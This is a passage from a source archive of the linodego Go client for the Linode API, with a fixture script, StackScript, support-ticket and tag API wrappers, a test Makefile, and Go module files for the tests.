directory.glob("*"): if file.is_file(): content = file.read_text() if search_string in content: print(f"Found {search_string} in {file}") test_case = file.name.split(".")[0] command = f"make ARGS=\"-run {test_case}\" fixtures" output = subprocess.run(command, shell=True, capture_output=True) if output.returncode == 0: print(f"Successfully ran '{command}'") else: print(f"Command {command} failed with error:") print(output.stderr.decode()) failed_tests.append(test_case) else: print(f"Did not find {search_string} in {file}") print(f"These fixture generations failed: {failed_tests}") golang-github-linode-linodego-1.47.0/scripts/verify-gomod-tidy.sh000066400000000000000000000003011474652371000250040ustar00rootroot00000000000000#!/usr/bin/env bash set -e go mod tidy if [[ `git status --porcelain` ]]; then echo 'go.mod needs updating' echo 'Please run "go mod tidy" to fix dependencies' exit 1 fi exit 0 golang-github-linode-linodego-1.47.0/stackscripts.go000066400000000000000000000114601474652371000224570ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Stackscript represents a Linode StackScript type Stackscript struct { ID int `json:"id"` Username string `json:"username"` Label string `json:"label"` Description string `json:"description"` Ordinal int `json:"ordinal"` LogoURL string `json:"logo_url"` Images []string `json:"images"` DeploymentsTotal int `json:"deployments_total"` DeploymentsActive int `json:"deployments_active"` IsPublic bool `json:"is_public"` Mine bool `json:"mine"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` RevNote string `json:"rev_note"` Script string `json:"script"` UserDefinedFields *[]StackscriptUDF `json:"user_defined_fields"` UserGravatarID string `json:"user_gravatar_id"` } // StackscriptUDF define a single variable that is accepted by a Stackscript type StackscriptUDF struct { // A human-readable label for the field that will serve as the input prompt for entering the value during deployment. Label string `json:"label"` // The name of the field. Name string `json:"name"` // An example value for the field. Example string `json:"example"` // A list of acceptable single values for the field. OneOf string `json:"oneOf,omitempty"` // A list of acceptable values for the field in any quantity, combination or order. ManyOf string `json:"manyOf,omitempty"` // The default value. If not specified, this value will be used. Default string `json:"default,omitempty"` } // StackscriptCreateOptions fields are those accepted by CreateStackscript type StackscriptCreateOptions struct { Label string `json:"label"` Description string `json:"description"` Images []string `json:"images"` IsPublic bool `json:"is_public"` RevNote string `json:"rev_note"` Script string `json:"script"` } // StackscriptUpdateOptions fields are those accepted by UpdateStackscript type StackscriptUpdateOptions StackscriptCreateOptions // UnmarshalJSON implements the json.Unmarshaler interface func (i *Stackscript) UnmarshalJSON(b []byte) error { type Mask Stackscript p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a Stackscript to StackscriptCreateOptions for use in CreateStackscript func (i Stackscript) GetCreateOptions() StackscriptCreateOptions { return StackscriptCreateOptions{ Label: i.Label, Description: i.Description, Images: i.Images, IsPublic: i.IsPublic, RevNote: i.RevNote, Script: i.Script, } } // GetUpdateOptions converts a Stackscript to StackscriptUpdateOptions for use in UpdateStackscript func (i Stackscript) GetUpdateOptions() StackscriptUpdateOptions { return StackscriptUpdateOptions{ Label: i.Label, Description: i.Description, Images: i.Images, IsPublic: i.IsPublic, RevNote: i.RevNote, Script: i.Script, } } // ListStackscripts lists Stackscripts func (c *Client) ListStackscripts(ctx context.Context, opts *ListOptions) ([]Stackscript, error) { response, err := getPaginatedResults[Stackscript](ctx, c, "linode/stackscripts", opts) return response, err } // GetStackscript gets the Stackscript with the provided ID func (c *Client) GetStackscript(ctx context.Context, scriptID int) (*Stackscript, error) { e := formatAPIPath("linode/stackscripts/%d", scriptID) response, err := doGETRequest[Stackscript](ctx, c, e) return response, err } // CreateStackscript creates a StackScript func (c *Client) CreateStackscript(ctx context.Context, opts StackscriptCreateOptions) (*Stackscript, error) { e := "linode/stackscripts" response, err := doPOSTRequest[Stackscript](ctx, c, e, opts) return response, err } // UpdateStackscript updates the StackScript with the specified id func (c *Client) UpdateStackscript(ctx context.Context, scriptID int, opts StackscriptUpdateOptions) (*Stackscript, error) { e := formatAPIPath("linode/stackscripts/%d", scriptID) response, err := doPUTRequest[Stackscript](ctx, c, e, opts) return response, err } // DeleteStackscript deletes the StackScript with the specified id func (c *Client) DeleteStackscript(ctx context.Context, scriptID int) error { e := formatAPIPath("linode/stackscripts/%d", scriptID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/support.go000066400000000000000000000036531474652371000214630ustar00rootroot00000000000000package linodego import ( "context" "time" ) // Ticket represents a support ticket object type Ticket struct { ID int `json:"id"` Attachments []string `json:"attachments"` Closed *time.Time `json:"-"` Description string `json:"description"` Entity *TicketEntity `json:"entity"` GravatarID string `json:"gravatar_id"` Opened *time.Time `json:"-"` OpenedBy string `json:"opened_by"` Status TicketStatus `json:"status"` Summary string `json:"summary"` Updated *time.Time `json:"-"` UpdatedBy string `json:"updated_by"` Closeable bool `json:"closeable"` } // TicketEntity refers a ticket to a specific entity type TicketEntity struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` URL string `json:"url"` } // TicketStatus constants start with Ticket and include Linode API Ticket Status values type TicketStatus string // TicketStatus constants reflect the current status of a Ticket const ( TicketNew TicketStatus = "new" TicketClosed TicketStatus = "closed" TicketOpen TicketStatus = "open" ) // ListTickets returns a collection of Support Tickets on the Account. Support Tickets // can be both tickets opened with Linode for support, as well as tickets generated by // Linode regarding the Account. This collection includes all Support Tickets generated // on the Account, with open tickets returned first. func (c *Client) ListTickets(ctx context.Context, opts *ListOptions) ([]Ticket, error) { response, err := getPaginatedResults[Ticket](ctx, c, "support/tickets", opts) return response, err } // GetTicket gets a Support Ticket on the Account with the specified ID func (c *Client) GetTicket(ctx context.Context, ticketID int) (*Ticket, error) { e := formatAPIPath("support/tickets/%d", ticketID) response, err := doGETRequest[Ticket](ctx, c, e) return response, err } golang-github-linode-linodego-1.47.0/tags.go000066400000000000000000000105741474652371000207050ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "errors" ) // Tag represents a Tag object type Tag struct { Label string `json:"label"` } // TaggedObject represents a Tagged Object object type TaggedObject struct { Type string `json:"type"` RawData json.RawMessage `json:"data"` Data any `json:"-"` } // SortedObjects currently only includes Instances type SortedObjects struct { Instances []Instance LKEClusters []LKECluster Domains []Domain Volumes []Volume NodeBalancers []NodeBalancer /* StackScripts []Stackscript */ } // TaggedObjectList are a list of TaggedObjects, as returning by ListTaggedObjects type TaggedObjectList []TaggedObject // TagCreateOptions fields are those accepted by CreateTag type TagCreateOptions struct { Label string `json:"label"` Linodes []int `json:"linodes,omitempty"` // @TODO is this implemented? LKEClusters []int `json:"lke_clusters,omitempty"` Domains []int `json:"domains,omitempty"` Volumes []int `json:"volumes,omitempty"` NodeBalancers []int `json:"nodebalancers,omitempty"` } // GetCreateOptions converts a Tag to TagCreateOptions for use in CreateTag func (i Tag) GetCreateOptions() (o TagCreateOptions) { o.Label = i.Label return } // ListTags lists Tags func (c *Client) ListTags(ctx context.Context, opts *ListOptions) ([]Tag, error) { response, err := getPaginatedResults[Tag](ctx, c, "tags", opts) return response, err } // fixData stores an object of the type defined by Type in Data using RawData func (i *TaggedObject) fixData() (*TaggedObject, error) { switch i.Type { case "linode": obj := Instance{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "lke_cluster": obj := LKECluster{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "nodebalancer": obj := NodeBalancer{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "domain": obj := Domain{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "volume": obj := Volume{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj } return i, nil } // ListTaggedObjects lists Tagged Objects func (c *Client) ListTaggedObjects(ctx context.Context, label string, opts *ListOptions) (TaggedObjectList, error) { response, err := getPaginatedResults[TaggedObject](ctx, c, formatAPIPath("tags/%s", label), opts) if err != nil { return nil, err } for i := range response { if _, err := response[i].fixData(); err != nil { return nil, err } } return response, nil } // SortedObjects converts a list of TaggedObjects into a Sorted Objects struct, for easier access func (t TaggedObjectList) SortedObjects() (SortedObjects, error) { so := SortedObjects{} for _, o := range t { switch o.Type { case "linode": if instance, ok := o.Data.(Instance); ok { so.Instances = append(so.Instances, instance) } else { return so, errors.New("expected an Instance when Type was \"linode\"") } case "lke_cluster": if lkeCluster, ok := o.Data.(LKECluster); ok { so.LKEClusters = append(so.LKEClusters, lkeCluster) } else { return so, errors.New("expected an LKECluster when Type was \"lke_cluster\"") } case "domain": if domain, ok := o.Data.(Domain); ok { so.Domains = append(so.Domains, domain) } else { return so, errors.New("expected a Domain when Type was \"domain\"") } case "volume": if volume, ok := o.Data.(Volume); ok { so.Volumes = append(so.Volumes, volume) } else { return so, errors.New("expected an Volume when Type was \"volume\"") } case "nodebalancer": if nodebalancer, ok := o.Data.(NodeBalancer); ok { so.NodeBalancers = append(so.NodeBalancers, nodebalancer) } else { return so, errors.New("expected an NodeBalancer when Type was \"nodebalancer\"") } } } return so, nil } // CreateTag creates a Tag func (c *Client) CreateTag(ctx context.Context, opts TagCreateOptions) (*Tag, error) { e := "tags" response, err := doPOSTRequest[Tag](ctx, c, e, opts) return response, err } // DeleteTag deletes the Tag with the specified id func (c *Client) DeleteTag(ctx context.Context, label string) error { e := formatAPIPath("tags/%s", label) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/test/000077500000000000000000000000001474652371000203705ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/Makefile000066400000000000000000000007531474652371000220350ustar00rootroot00000000000000.PHONY: test-int test-int: @LINODE_FIXTURE_MODE="play" \ LINODE_TOKEN="awesometokenawesometokenawesometoken" \ LINODE_API_VERSION="v4beta" \ GO111MODULE="on" \ go test -v ./integration $(TEST_ARGS) .PHONY: test-unit test-unit: go test -v ./unit/... $(TEST_ARGS) .PHONY: test-smoke test-smoke: @LINODE_FIXTURE_MODE="record" \ LINODE_TOKEN=$(LINODE_TOKEN) \ LINODE_API_VERSION="v4beta" \ LINODE_URL="$(LINODE_URL)" \ GO111MODULE="on" \ go test -v -run smoke ./integration/... golang-github-linode-linodego-1.47.0/test/go.mod000066400000000000000000000046701474652371000215050ustar00rootroot00000000000000module github.com/linode/linodego/test require ( github.com/dnaeon/go-vcr v1.2.0 github.com/google/go-cmp v0.6.0 github.com/jarcoal/httpmock v1.3.1 github.com/linode/linodego v1.33.0 github.com/linode/linodego/k8s v0.0.0-00010101000000-000000000000 github.com/stretchr/testify v1.10.0 golang.org/x/exp v0.0.0-20241217172543-b2144cdd0a67 golang.org/x/net v0.34.0 golang.org/x/oauth2 v0.25.0 k8s.io/client-go v0.29.4 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/emicklei/go-restful/v3 v3.11.0 // indirect github.com/go-logr/logr v1.3.0 // indirect github.com/go-openapi/jsonpointer v0.19.6 // indirect github.com/go-openapi/jsonreference v0.20.2 // indirect github.com/go-openapi/swag v0.22.3 // indirect github.com/go-resty/resty/v2 v2.16.3 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/gnostic-models v0.6.8 // indirect github.com/google/go-querystring v1.1.0 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/imdario/mergo v0.3.6 // indirect github.com/josharian/intern v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/stretchr/objx v0.5.2 // indirect golang.org/x/sys v0.29.0 // indirect golang.org/x/term v0.28.0 // indirect golang.org/x/text v0.21.0 // indirect golang.org/x/time v0.6.0 // indirect google.golang.org/protobuf v1.33.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect k8s.io/api v0.29.4 // indirect k8s.io/apimachinery v0.29.4 // indirect k8s.io/klog/v2 v2.110.1 // indirect k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00 // indirect k8s.io/utils v0.0.0-20230726121419-3b25d923346b // indirect sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect sigs.k8s.io/structured-merge-diff/v4 v4.4.1 // indirect sigs.k8s.io/yaml v1.3.0 // indirect ) go 1.22.0 toolchain go1.22.1 replace github.com/linode/linodego => ../ replace github.com/linode/linodego/k8s => ../k8s golang-github-linode-linodego-1.47.0/test/go.sum000066400000000000000000000350661474652371000215350ustar00rootroot00000000000000github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dnaeon/go-vcr v1.2.0 h1:zHCHvJYTMh1N7xnV7zf1m1GPBF9Ad0Jk/whtQ1663qI= github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= github.com/emicklei/go-restful/v3 v3.11.0 h1:rAQeMHw1c7zTmncogyy8VvRZwtkmkZ4FxERmMY4rD+g= github.com/emicklei/go-restful/v3 v3.11.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= github.com/go-logr/logr v1.3.0 h1:2y3SDp0ZXuc6/cjLSZ+Q3ir+QB9T/iG5yYRXqsagWSY= github.com/go-logr/logr v1.3.0/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-openapi/jsonpointer v0.19.6 h1:eCs3fxoIi3Wh6vtgmLTOjdhSpiqphQ+DaPn38N2ZdrE= github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs= github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE= github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= github.com/go-openapi/swag v0.22.3 h1:yMBqmnQ0gyZvEb/+KzuWZOXgllrXT4SADYbvDaXHv/g= github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= github.com/go-resty/resty/v2 v2.16.3 h1:zacNT7lt4b8M/io2Ahj6yPypL7bqx9n1iprfQuodV+E= github.com/go-resty/resty/v2 v2.16.3/go.mod h1:hkJtXbA2iKHzJheXYvQ8snQES5ZLGKMwQ07xAwp/fiA= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I= github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1 h1:K6RDEckDVWvDI9JAJYCmNdQXq6neHJOYx3V6jnqNEec= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/imdario/mergo v0.3.6 h1:xTNEAn+kxVO7dTZGu0CegyqKZmoWFI0rF8UxjlB2d28= github.com/imdario/mergo v0.3.6/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/jarcoal/httpmock v1.3.1 h1:iUx3whfZWVf3jT01hQTO/Eo5sAYtB2/rqaUuOtpInww= github.com/jarcoal/httpmock v1.3.1/go.mod h1:3yb8rc4BI7TCBhFY8ng0gjuLKJNquuDNiPaZjnENuYg= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/maxatome/go-testdeep v1.12.0 h1:Ql7Go8Tg0C1D/uMMX59LAoYK7LffeJQ6X2T04nTH68g= github.com/maxatome/go-testdeep v1.12.0/go.mod h1:lPZc/HAcJMP92l7yI6TRz1aZN5URwUBUAfUNvrclaNM= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/onsi/ginkgo/v2 v2.13.0 h1:0jY9lJquiL8fcf3M4LAXN5aMlS/b2BV86HFFPCPMgE4= github.com/onsi/ginkgo/v2 v2.13.0/go.mod h1:TE309ZR8s5FsKKpuB1YAQYBzCaAfUgatB/xlT/ETL/o= github.com/onsi/gomega v1.29.0 h1:KIA/t2t5UBzoirT4H9tsML45GEbo3ouUnBHsCfD2tVg= github.com/onsi/gomega v1.29.0/go.mod h1:9sxs+SwGrKI0+PWe4Fxa9tFQQBG5xSsSbMXOI8PPpoQ= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/exp v0.0.0-20241217172543-b2144cdd0a67 h1:1UoZQm6f0P/ZO0w1Ri+f+ifG/gXhegadRdwBIXEFWDo= golang.org/x/exp v0.0.0-20241217172543-b2144cdd0a67/go.mod h1:qj5a5QZpwLU2NLQudwIN5koi3beDhSAlJwa67PuM98c= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= golang.org/x/oauth2 v0.25.0 h1:CY4y7XT9v0cRI9oupztF8AgiIu99L/ksR/Xp/6jrZ70= golang.org/x/oauth2 v0.25.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg= golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U= golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools 